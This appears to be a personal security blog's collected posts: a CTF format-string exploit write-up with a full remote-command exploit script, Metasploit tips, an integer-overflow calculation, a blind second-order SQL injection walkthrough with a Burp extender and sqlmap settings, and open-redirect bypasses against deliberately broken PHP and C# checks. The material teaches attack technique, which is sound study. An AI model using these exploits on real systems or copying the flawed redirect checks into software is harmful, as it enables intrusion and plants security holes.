PPP pwnables 99

PPP rocks, and even though I spent the entire CTF time this year solving just two pwnables (this being one of them) I had a ton of fun. This is a tutorial on one of their challenges that took me way too long, and even then I needed a pointer (no pun intended ha ha). I’ve seen other solutions for this posted, but here’s yet another one. I know I’ve talked with some people who wouldn’t know where to start, so this is a basic tutorial for a relatively basic problem.

They give you a tar file (linked here as 2012ppp_pwn99.tar) and an endpoint.  I encourage you to give this a whirl. In the game you had to exploit this remotely on a machine you don’t have access to, which is actually the point where I got a bit stuck. So don’t cheat and put the shellcode in an environment variable or something.

Solution Walkthrough

The first step is to disassemble. There are several clear vulnerabilities in the main file. For example, there are at least three format strings in this block that looks something like:

.text:080489DA lea     edx, [esp+54h]
.text:080489DE mov     eax, [esp+50h]
.text:080489E2 mov     [esp+8], edx             ; format
.text:080489E6 mov     dword ptr [esp+4], 100h  ; char
.text:080489EE mov     [esp], eax               ; s
.text:080489F1 call    _sn_printf

esp+54h comes from the user (STDIN), and it’s the ‘username’ you enter, so with this format string we should be good to go. There are plenty of references on how to exploit format strings online, so I won’t cover the gritty details here. But I will link to some of my favorite references.

To exploit, we would like to hit one of these format strings. Backtracing to see how this block is hit, you first need to “win”. So there are three pieces of user input it retrieves at the beginning.

  1. The password. This is just hard coded as 2ipzLTxTGOtJE0Um
  2. The username. This has our format strings later on, but it doesn’t look like there’s any “winning” logic based on this
  3. “Guess”

“Guess” is kind of interesting. It calls time, then with that value it does a few arithmetic operations (imul, sar, sub) which ends up just dividing time by sixty. It uses this as an argument to srand, and then calls rand. So if you’re accurate within 60 seconds you’re close enough. You can get this close enough value with the following snippet, referencing glibc with ctypes:

#get the correct guess
libc = cdll.LoadLibrary("libc.so.6")
a= libc.time(a)
seconds = a/60
libc.srand(seconds)
guess = libc.rand()

With the password and the guess, you’re set to reach the format string. Because the binary just goes to stdin and stdout, I tested this locally using netcat. One small trick here is to set ulimit to unlimited so when the program crashes you can examine the dump with “gdb ./problem core”:

ulimit -c unlimited
ncat --exec ./problem -l 56345

First thing I wrote sockets to interact with the binary. Once that was working I figured out the offset was 19 by just adding %08x %08x…. Then, the following was to overwrite the syslog got entry found in the binary. Because there’s a call later to syslog, we can overwrite that with arbitrary values.

syslog_got = 0x8049e04
#eip b7fde30b
HOW = 0x4141
LOW = 0x4141
username = struct.pack("P", syslog_got +2) + struct.pack("P", syslog_got) + "%." + str(HOW-8) +"x%19$hn%." + str(LOW-HOW)+ "x%20$hn"

At this point we control eip. I actually got this far relatively quickly. But where do we put our shellcode? At the format string, there aren’t any registers pointing near buffers we control. Theoretically username is big enough to fit in some shellcode… so that’s a possibility. Fgets buffers input, so my initial strategy was to output a giant nop sled after the format string as a place for the shellcode. Because it’s a format string, you can search for memory… So I actually got this working so I was reliably able to exploit locally across reboots, but I could never get it to work on their remote server. They weren’t using ASLR, and I wrote a program to search memory using the format string to look for my nop sled, but I was never able to find the shellcode anywhere.

Anyway, this is where I got a good pointer in the right direction by someone much better than me on the team. What he discovered was you could use the libc they included to overwrite the call to free (which has our username) with system. It uses the username for a parameter also, and is called immediately after the format string. Here’s the call to free:

.text:08048A02 mov     eax, [esp+50h]
.text:08048A06 mov     [esp], eax      ; ptr
.text:08048A09 call    _free

So we could make our username something like “command to execute#%08x…”, so that the system call executes up to the comment, and after that is our format string. Our final username can contain the commands first, and then the format string.

The only missing piece was finding the system address. This is how I found it.

  1. the printf function has a got address of 0x08049e2c
  2. Remember there’s no aslr or varying address. Using the read piece of the format string, you read the value at the got printf address- e.g. pass it to this function def read_format(location):
  3. Look at the hex step 2 returns. In this case it was (in little endian) 0xf7ed64f0
  4. They included a libc.so.6 file.  Looking at that system is at offset 0×39450 and printf is at offset 0x474f0
  5. So  hex (0xf7ed64f0 + (0×39450- 0x474f0)) is ’0xf7ec8450L’, the real address of system

Knowing the real address of system, we can overwrite the got address for the free function.

The real final piece was making sure %hn was correct with the prepending commands, which changed the length of the string (and thus the values of %hn). To do this, I padded the commands to 28 characters, and took 28 from my %.<number> piece of the format string.  Anyway, here is my final exploit.


from ctypes import *
import socket
import struct
import argparse
import sys

parser = argparse.ArgumentParser()
parser.add_argument('cmd' )
parser.add_argument('--host', default='23.20.104.208')
parser.add_argument('--port', type=int, default=56345)
parser.add_argument('--vm', dest='host', const="192.168.153.143", action="store_const")
args = parser.parse_args()

#constants
syslog_got = 0x8049e04
free_got   = 0x8049e18
#system_address calculated from included libc.so offsets and read free value
system_address = 0xf7ec8450


def address_overwrite_format(owlocation, owvalue):
	HOW = owvalue >> 16
	LOW = owvalue & 0xffff
	print hex(HOW)
	print hex(LOW)
	mformat = ""
	if LOW > HOW:
		mformat = struct.pack("<I", owlocation +2) + struct.pack("<I", owlocation) + "%." + str(HOW-8-28) +"x%26$hn%." + str(LOW-HOW) + "x%27$hn" 
	else:
		print "here"
		mformat = struct.pack("<I", owlocation +2) + struct.pack("<I", owlocation) + "%." + str(LOW-8-28) +"x%27$hn%." + str(HOW-LOW) + "x%26$hn" 
	return mformat


def read_format(location):
	#%19 without padding
	mlocation = struct.pack("<I", location) + " ((((%19$08s))))"
	return (mlocation )

def extract_hex(mstr):
	print mstr
	#must be in a format (((hex)))
	a = mstr.split("((((")[1].split("))))")[0]
	for ch in a:
		sys.stdout.write(hex(ord(ch))+ " ")
	print ""

def pwn(username, extrastuff = ""):
	#get the password (found from strings)
	passwd = "2ipzLTxTGOtJE0Um"
	#get the correct guess
	libc = cdll.LoadLibrary("libc.so.6")
	a = 0
	a= libc.time(a)
	seconds = a/60
	libc.srand(seconds)
	guess = libc.rand()
	#format string in the username

	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.settimeout(4)
	s.connect((args.host, args.port))
	print s.recv(1024)

	s.send(passwd + "\n")

	print s.recv(1024)
	s.sendall(username + "\n")
	print s.recv(1024)
	s.sendall(str(guess) + "\n" + extrastuff)
	retval = s.recv(1024)
	retval += s.recv(1024)
	s.close()
	return retval

def padcmd(cmd):
	#cmd must be exactly 28 bytes long
	if len(cmd) > 27:
		print "Error: cmd too long"
		sys.exit(-1)
	cmd = cmd + "#" + "A" * (27- len(cmd))
	return cmd

#f = read_format(0x8049e30)
f = address_overwrite_format(free_got, system_address)
execcmd = padcmd(args.cmd)
a = pwn(execcmd + f)
print a
#extract_hex(a)

Hello WordPress.com

This is the third reincarnation of this website.  It’s amazing how time flies by.

V1

Built early 2007 on websitebaker, I self hosted this on various available university computers. At the time I was working as a Linux sysadmin and going to school. I liked websitebaker because of how simple it was to customize and figure out how it worked.  Here is a post on the theme.

V2

Built in mid 2009 when I was leaving the university to go work for IOActive in Seattle, I needed a new place for hosting which I had been getting for free. I went with site5 largely because it was cheap (around $5/month), and it had ssh access so I could migrate fairly easily (e.g. leaving all files in the same structure). I also migrated from websitebaker to wordpress, which is a huge improvement in my opinion. With the wife’s help, I wrote the Ryu theme as a modification of the existing theme.

V3

I don’t get a lot of traffic, but when I do get bursts then site5 seems to struggle. I’m working on some things I think are neat lately (coming soon! I’m planning on putting more effort here than I ever have before)  and I want the website to stay responsive if I ever get slashdotted or something. I ultimately wanted to stay with wordpress as the cms but was willing to try others. I looked at/considered EC2, Media Temple, and Blogger. In the end, I think WordPress.com is the best fit. It has a low price tag ($30/yr for no ads, $30/yr for custom css, and $15/yr so I can use my domain). Besides scalability, I just feel like if I tried I could hack site5 and that scares me. I did find a wordpress bug one time, but when I was looking for it I was pretty impressed with the general code quality.

My big reservation with wordpress.com was that I couldn’t upload arbitrary files to share, but with things like skydrive (which I use), dropbox, google drive, and Amazon’s services it make sense to separate that piece and link to that content. I spent a lot of time this weekend working to get the new setup (my lovely wife also helped with the CSS), and I think it’s generally looking pretty good :)

3 Quick Metasploit Tips

1. Grepping msfvenom, msfpayload

To search through payloads in metasploit. One thing that doesn’t work is:

./msfvenom -l payloads |grep php

because output is directed to STDERR. So to search through metasploit modules from the command line, one way is to redirect STDERR to STDOUT.

./msfvenom -l payloads 2>&1 |grep php

2. Using ‘reload’, ‘jobs’, and ‘resource’ for module testing

When I was first modifying metasploit code, I restarted metasploit… which takes quite a bit of time and is a pain if you’ve only done like a one line change. But there’s a reload command that just reloads the module you’re working on, so that’s obviously much nicer.

Another couple commands that are handy for testing are ‘jobs’ and ‘resource’. ‘jobs’ will enumerate things that are running (and kill them, if you tell it to). ‘resource’ simply is a set of commands which will execute as if you entered them in the console. I used ‘resource’ for unit testing, and when I demo some more complicated attacks that will require actual code (coming soon), I’ll need to put that in a resource file.

3. Nop sled Generation

I recently ran into an exploit where the binary would look for repeating sequences (e.g. ‘x90x90…’), so I needed a custom nop sled. Also, I wanted to save the value of some registers. I was (coincidentally) pointed at Metasploit’s Opty2. The usage is:

> use nop/x86/opty2
msf nop(opty2) > generate -h
Usage: generate [options] length

Generates a NOP sled of a given length.

OPTIONS:

-b The list of characters to avoid: ‘x00xff’
-h Help banner.
-s The comma separated list of registers to save.
-t The output type: ruby, perl, c, or raw.

Calculating an Integer Overflow

I was playing an exploit game yesterday, and had to compute an exact value for an integer overflow, which made me think (when I’ve run into this before, I’ve just had to get ‘close enough’). In the binary, it compares some user input to the integer 9, which it must be “less than”

call _atoi
mov [ebp+var_C], eax
cmp [ebp+var_C], 9
jle short loc_8 ; process input and reach overflow

n is then multiplied by 4 to make room for 9 ints

shl eax, 2

var_c is then used as the n parameter in memcpy

void *memcpy(void *dest, const void *src, size_t n);

The vulnerability is possible (at least in part) to the shl, which can be used to wrap the integer and bypass the jle check. It’s fairly obvious there is an integer overflow here, and in fact, calculating n to be an exact value is also not difficult. So in my case I wanted n in the memcpy call to equal exactly 80.

The very first thing I did was to look at this http://en.wikipedia.org/wiki/Two’s_complement, which I remember having to do in school. It’s not complicated, but once you start throwing algebra in… anyway, so instead of using math I just wrote a wrapper program on the same machine.

#include <limits.h>
#include <stdio.h>

void main()
{
  //this should be 80. Sanity check
  int y =  -INT_MAX - INT_MAX + 78;
  printf("%dn", y); 

  printf("%dn", INT_MAX);
}

which prints

2147483647
80

Then just plop this in a calculator. Remember to divide by 4 to undo the multiply

>>> (-2147483647*2 + 78)/4.0
-1073741804.0

I entered this in the appropriate place, and set a breakpoint on the call to memcpy.

(gdb) x/d $esp+8
0xbffff2b8: 80

Success, we’ve managed to set n to 80. This one took more time to write out than to solve, but hey, maybe it will be useful for someone. Plus I needed a filler today… I have some cool stuff I’m working on, but it won’t be ready until at least next post, or maybe the post after :)

Blind Second Order SQL Injection with Burp and SqlMap

My favorite challenge on codegate this year was a second order SQL injection (yes, the ‘easy’ 100 level one). It wasn’t blind – that was even one of the hints early on. But I got to thinking about how I would exploit a blind second order SQL injection, and I decided to go that route. It’s something I’d never done before, and I thought it was an interesting problem. (I go off on tangents a lot – acme is awesome for still letting me be a pretty much non-contributing member of their team).

The Injection

The scenario was an mp3 player application, and the goal was to get what the admin was listening to. The injectable query is here, in the genre parameter:

POST /mp3_world/index.php?page=upload HTTP/1.1
Host: 1.237.174.123:3333
Content-Type: multipart/form-data; boundary=---------------------------265001916915724
Content-Length: 404

-----------------------------265001916915724
Content-Disposition: form-data; name="mp3"; filename='badfi"le.mp3'
Content-Type: text/plain

bad'"
-----------------------------265001916915724
Content-Disposition: form-data; name="genre"

if(1=1 ,1, 2)
-----------------------------265001916915724
Content-Disposition: form-data; name="title"

9 95
-----------------------------265001916915724--

Notice the  if(1=1 ,1, 2). In a second response, it will show [hiphop] if the query evaluates to true, and something else if it’s not true.

So the right way to proceed is to see if you can get information into the data output (e.g. the non-blind route). But say this is all the information you had, an oracle on another page from the request; an injection in request 1 and an oracle in response 2. Obviously, this is still exploitable, but how?

Extending Burp to Return the Oracle to an Injection Request

So here’s the strategy:

  • Do the injection request.
  • The response for the first request is meaningless – there’s no injection there. Throw it away and replace it with a response from a separate request that triggers the injection. Here, I just return TRUE if 1=1, False if not. Tools like sqlmap can work with this for blind sqli
  • Clean up; because the oracle is stored, we need to clean up old oracles that indicate whether the comparison was successful

The following code does this:

package burp;

import java.net.*;
import java.util.*;
import java.util.regex.*;
import java.io.*;

public class BurpExtender
{
    public IBurpExtenderCallbacks mCallbacks;

    //victimRequest is the value that triggers the alternate response
    public static String victimRequest = "1.237.174.123";
    //replacementResponse replaces the response with this new one
    public static String replacementResponse = "http://1.237.174.123:3333/mp3_world/?page=player";
    public static String injectionOracle = "[hiphop]";
    public static String deleteOld = "http://1.237.174.123:3333/mp3_world/?page=upload&del=";

    public void processHttpMessage(String toolName, boolean messageIsRequest, IHttpRequestResponse messageInfo)
    {
        if (!messageIsRequest)
        {
            if (messageInfo.getHost().equals(victimRequest))
            {
                boolean respvalue = false;
                try {
                    //assume this is our sql injection response; make a second request to return
                    System.out.println("This request needs a modified response");
                    //make a request to the second order to see if True or False
                    //with this one, no need for cookies or anything - it's based on IP
                    URL sqlcheck = new URL(replacementResponse);
                    URLConnection sc = sqlcheck.openConnection();
                    BufferedReader in = new BufferedReader(new InputStreamReader(sc.getInputStream()));

                    String inputLine;
                    String delIndex = "";
                    //if injectionOracle is in sqlcheck response, and the resp number in the title true. If not, false
                    while ((inputLine = in.readLine()) != null)
                    {
                        if (inputLine.contains(injectionOracle))
                            respvalue = true;
                        //grab all the indexes so we can delete them later = format "idx=?"
                        if (inputLine.contains("idx="))
                        {
                            int sindex = inputLine.indexOf("idx=");
                            int eindex = inputLine.indexOf(""", sindex);
                            delIndex = inputLine.substring(sindex+4, eindex);
                        }
                    }
                    in.close();
                    String resp;
                    if (respvalue)
                        resp = "True";
                    else
                        resp = "False";
                    byte[] bResp = resp.getBytes();

                    messageInfo.setResponse(bResp);

                    //Clean up old songs
                    System.out.println("Deleting " + delIndex);
                    String delstr = deleteOld + delIndex;
                    URL delRequest = new URL(delstr);
                    URLConnection deslc = delRequest.openConnection();
                    in = new BufferedReader(new InputStreamReader(deslc.getInputStream()));
                    in.close();

                }
                catch (java.io.IOException ex){
                    System.out.println("something's wrong");
                }
                catch (java.lang.Exception ex){
                    System.out.println("something else is wrong");
                }
            }
        }

    }

    public void registerExtenderCallbacks(IBurpExtenderCallbacks callbacks)
    {
        mCallbacks = callbacks;
    }
}

To compile, it should look like this (the source file is BurpExtender.java). Here’s a command dump as a sanity check


PS C:UsersmopeyDocumentscodeburp_pluginssql_injection> ls

Directory: C:UsersmopeyDocumentscodeburp_pluginssql_injection

Mode                LastWriteTime     Length Name
----                -------------     ------ ----
d----         2/25/2012   5:00 PM            burp
-a---         2/25/2012   5:00 PM       6445 BurpExtender.java
-a---         2/25/2012   3:47 PM        571 requestfile.ini
-a---         2/25/2012   6:16 PM      17168 sqlmap.config

PS C:UsersmopeyDocumentscodeburp_pluginssql_injection> javac .BurpExtender.java
Note: .BurpExtender.java uses or overrides a deprecated API.
Note: Recompile with -Xlint:deprecation for details.
PS C:UsersmopeyDocumentscodeburp_pluginssql_injection> rm .burpBurpExtender.class
PS C:UsersmopeyDocumentscodeburp_pluginssql_injection> mv .BurpExtender.class .burp
PS C:UsersmopeyDocumentscodeburp_pluginssql_injection> jar -cf .burpextender.jar .burpBurpExtender.class
PS C:UsersmopeyDocumentscodeburp_pluginssql_injection> cd .burp
PS C:UsersmopeyDocumentscodeburp_pluginssql_injectionburp> ls

Directory: C:UsersmopeyDocumentscodeburp_pluginssql_injectionburp

Mode                LastWriteTime     Length Name
----                -------------     ------ ----
-a---         2/25/2012   7:37 PM       4062 BurpExtender.class
-a---         2/24/2012  11:51 PM        345 burpextender.jar
-a---          6/3/2011   7:56 AM       7919 IBurpExtender.java
-a---         2/24/2012  11:19 PM       1587 IBurpExtenderCallbacks.class
-a---         2/24/2012  11:04 PM      13131 IBurpExtenderCallbacks.java
-a---         2/24/2012  11:19 PM        659 IHttpRequestResponse.class
-a---          6/3/2011   7:55 AM       4040 IHttpRequestResponse.java
-a---         2/24/2012  11:19 PM        196 IMenuItemHandler.class
-a---          6/3/2011   7:56 AM       1453 IMenuItemHandler.java
-a---         2/24/2012  11:19 PM        477 IScanIssue.class
-a---          6/3/2011   7:56 AM       2826 IScanIssue.java
-a---         2/24/2012  11:19 PM        347 IScanQueueItem.class
-a---          6/3/2011   7:56 AM       2309 IScanQueueItem.java

Then to run:

java -Xmx512m -classpath burpextender.jar;burpsuite_pro_v1.4.05.jar burp.StartBurp

With this, you can make requests with Burp and it returns True or False in the single response.

Fenangling sqlmap

It took a little more work to get sqlmap working happily. One annoying thing is Burp’s proxy. It has a match and replace, but it doesn’t work well with multiple line things. Also, sqlmap doesn’t play well with multi-part forms.

I ended up using the extender more, and matching on words like how the match and replace in Burp’s proxy should work. This is a common trick, but it nearly doubled the code above to make everything happy (think multiple wrong content-lengths and url decodings and whatnot).

That said, the idea is straightforward. My base request looked something like this, and sqlmap was injecting into the ’1′. By the way, the syntax is MySql.

asdfghbleh=1&aftercrap=crap

Replace asdfghbleh= with “if (1=”

Replaces &aftercrap=crap with “,1,2)”

So, for example, the base query has (in the genre param)

if (1=1, 1, 2)

Sqlmap is happy at this point, and you can run arbitrary queries. When running sqlmap, I generally like to use the config file. Here are some of the changes for the initial sql injection detection.


#Base request from repeater with tags
requestFile = requestfile.ini
proxy = http://localhost:8080
testParameter = asdfghbleh
dbms = mysql
tech = B

After a happy base run, I enumerated databases, tables, and columns just like usual. As expected, it took a while to actually get information out (on the order of a couple hours) but I still think this is pretty slick. If this were actually blind I imagine it would be rated harder than 100 level. Dumping everything at once is way more efficient and all, but every time sqlmap decodes an arbitrary character, all I see anymore is blonde, brunette, redhead…

Some Interesting URI Parsing Quirks and Open Redirects

Parsing the “relativeness” of a URI seems to be a pretty browser specific thing, and doing some quick tests there are several quirks that might be useful/dangerous. The Tangled Web (which is an awesome book) aludes to some of these.

Some URI Quirks

Let’s look at some tests with the URIs grabbed from the location header. The browsers I’m testing right now are IE9, Chrome 17 something, and Firefox 11.

All browsers are happy with this, and go to google.com

header(“Location: //google.com”);

Both Firefox and chrome truncate extra slashes
So

header(“Location: http:///////////////////////google.com“);

is completely happy.

IE is interesting, as it will be equally happy with and /

header(“Location: https:\\google.com\“); <– this works

The spacing doesn’t seem to matter, so all browsers are happy with:

header(“Location:                        http://google.com“);

as well as

header(“Location:http://google.com”);

My favorite is this. In chrome and Firefox

header(“Location: http:google.com”);

will redirect to a relative URI, but for whatever reason

header(“Location: https:google.com“);

will redirect to google.com. wtf?

Same Domain Redirect

These parsing quirks can be useful for several attacks, and the first thing that came to mind for me was open redirects.  It’s a pretty common scenario to want to allow sites  redirecting based on the parameter as long as it’s in the same domain. It can be expensive to whitelist every URI (which would be ideal), so although that’s a great solution, I also think allowing redirects to your own domain is sometimes better than nothing …despite there being some risks associated with it, like giving an attacker a way to bypass the IE8 XSS filter http://packetstorm.wowhacker.com/papers/general/msie-xssbypass.pdf.

So, below are some (broken) examples of websites trying to accomplish this, allowing a redirect but only to their own site.

Broken Example 1 – startswith /

One naive way to try to perform arbitrary on-site local redirects would be something like the following, which takes the redir query parameter and make sure it starts with a slash:

$redir = $_GET['redir'];
#if redir starts with /
if (strpos($redir, "/", 0) === 0)
header("Location: " . $redir);

Obviously, this can be bypassed in all browsers with //google.com

Broken Example 2 - No Semicolons, Can’t start with /, and in fact, don’t start with // either

This PHP tries to prevent off-site redirects with the following snippet

$redir = $_GET['redir'];
#make sure redir doesn't have slashes, and doesn't have semicolons
if ((strpos($redir, "/", 0) != 0) and (strpos($redir, "/", 1) != 1) and (strpos($redir, ":") === false))
{
header("Location: " . $redir);
}

Because you can prepend spaces, one way to bypass this is to send the following:

redir=%20%20//google.com

Broken Example 3 – No Slashes at all

Ok, what if there are no slashes are allowed at all? You can’t very well have http://blah.com without a slash, after all, so this intuitively might make sense. The code for this might look something like:

$redir = $_GET['redir'];
#if no / in the string
if (strpos($redir, "/") === false)
  header("Location: " . $redir);

However, using the quirks above, this can be bypassed by using redir=https:google.com in FF and chrome, and it can be bypassed in IE with redir=\google.com

Broken Example 4 – Built in Libraries:

Surely there are libraries that solve this problem. Well, maybe there are, but there are certainly libraries people use to try to solve this problem, but they don’t do it as people expect (e.g. a library might call a URI relative when a browser treats it as absolute). Making a library that works well is a fundamentally tough problem because all these browsers have quirks and the library has to match all browsers. So is a library supposed to call https:google.com a relative or a full uri? (it’s relative in IE but full in chrome and FF)

Here’s one C# example where someone might try to figure out if a URI is relative URI using the IsAbsoluteUri property in .net system.Uri.

        static void Main(string[] args)
        {

            String[] uriArray = new String[] {
                "//google.com/test.html",                 //relative
                "\\google.com\test.html",              //relative
                "/////////google.com/test.html",          //relative
                "https:google.com",                       //relative
                "http://google.com",                      //absolute
                "http:///////////////////google.com",     //absolute
                "           http://google.com"            //absolute
            };

            foreach (String uriString in uriArray)
            {
                try
                {
                    Uri uri = new Uri(uriString, UriKind.Relative); //works
                    if (!uri.IsAbsoluteUri)
                    {
                        Console.WriteLine("is a relative URI: {0}", uriString);
                    }
                }
                catch (UriFormatException e)
                {
                    Console.WriteLine("not a relative URI: {0}", uriString);
                }
            }
        }

Broken Example 5 – startswith Whitelisted Domain

This is a classic example. Even though it doesn’t have much do do with parsing quirks, it can be subtle and illustrates an important point.  So say an application does the following to make sure the redirect is on the correct domain.

String redir = Request["redir"];
if (redir.StartsWith("http://goodsite.com"))
{
	Response.Redirect(redir);
}

Can an attacker still exploit this? The answer is yes, by setting redir=http://goodsite.com.badsite.com/

What’s the Right Way to do on-domain Redirects?

So open redirects are in the owasp top ten, and they have some guidance here: https://www.owasp.org/index.php/Top_10_2010-A10-Unvalidated_Redirects_and_Forwards. However, to summarize, it basically says to whitelist and don’t redirect. I do agree, but again, what if you want to do on-domain redirects? The best I can think of is to do something like this:

startswith(http://goodsite.com/ || https://goodsite.com/)

Note the trailing slash, which prevents broken example #5.  I don’t think it’s possible to redirect off-site with this type of code… but if someone knows otherwise, I’d definitely be interested in how to do it :)

Follow

Get every new post delivered to your Inbox.